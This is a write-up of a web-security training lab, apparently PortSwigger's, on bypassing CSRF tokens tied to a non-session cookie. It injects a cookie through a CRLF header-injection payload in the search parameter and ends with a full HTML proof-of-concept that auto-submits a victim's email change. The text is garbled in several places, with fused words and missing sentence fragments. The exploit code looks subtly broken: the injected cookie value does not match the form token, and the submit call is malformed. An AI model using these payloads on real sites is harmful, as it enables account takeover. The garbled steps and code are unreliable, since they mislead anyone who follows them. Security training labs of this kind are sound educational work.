CSRF where token is tied to non-session cookie
This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.
Reproduction and proof of concept
Open Burp’s browser and log in to the
wieneraccount. Submit the “Update email” form, and find the resulting request in your Proxy history.
Send the request to Burp Repeater and observe that changing the
sessioncookie logs you out, but changing the
csrfKeycookie merely results in the
csrftoken being rejected. This suggests that the
csrfKeycookie may not be strictly tied to the session. To check
csrftoken are tied, enter an invalid token. The request is not accepted.
Open a private/incognito browser window, log in to Portswigger, then on the lab site into the
carlosattacker account, and send a fresh update email request into Burp Repeater.
csrfparameter from the
carlosaccount to the
wieneraccount (or vv), the request is accepted.
HTTP/1.1 302 Found Location: /my-account Connection: close Content-Length: 0
Swapping only one of the two, the request is not accepted. The two are tied.
Close the Repeater tab and incognito browser.
Back in the original browser in the
wieneraccount, do a search, send the resulting request to Burp Repeater. Check that the search term gets reflected in the
GET /?search=whatever HTTP/1.1 Host: 0a8a007003328fbbc0520eb3006500e7.web-security-academy.net Cookie: session=3434rpqGQke3AkVlNlulO9qFJKzTjK4J; csrfKey=h8xkUPRUr4PbtkKwRm6bORpJx5qWNibu ...
Because the search function has no CSRF protection, this can be used to inject cookies into the victim user’s browser.
Create a URL that uses this vulnerability to inject a
csrfKeycookie from the carlos attacker account into the victim’s browser:
HTTP/1.1 200 OK Set-Cookie: LastSearchTerm=test Set-Cookie: csrfKey=JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4; SameSite=None; Secure; HttpOnly
Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab (above), ensuring that you include your CSRF token. The exploit should be created from the email change request.
Remove the auto-submit
scriptblock and replace it with the
/?search=test%0d%0aSet-Cookie:%20csrfKey=JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4%3b%20SameSite=None, and change the
csrftoken to the tied
csrfKeyone of the attacker:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a8a007003328fbbc0520eb3006500e7.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="firstname.lastname@example.org" /> <input type="hidden" name="csrf" value="JZdIUDJnjrR2QPnOBOVp9z5VukuYTpf4" /> <input type="submit" value="Submit request" /> </form> <img src="https://0a8a007003328fbbc0520eb3006500e7.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=49yoasBlApBjSMbVt4Qi2SddyqBHMqgn%3b%20SameSite=None" onerror="document.forms.submit()"> </body> </html>
Copy HTML and put it in the
body of the Exploit server form:
Store the exploit in the exploit server of the lab, then click Deliver to victim.
An attacker needs to use the exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. There are two accounts on the application that can be used:
wiener:peter (victim) and
If an attacker can change the email address of another user, he/she can log in as that user and gain access to the account and all of its data.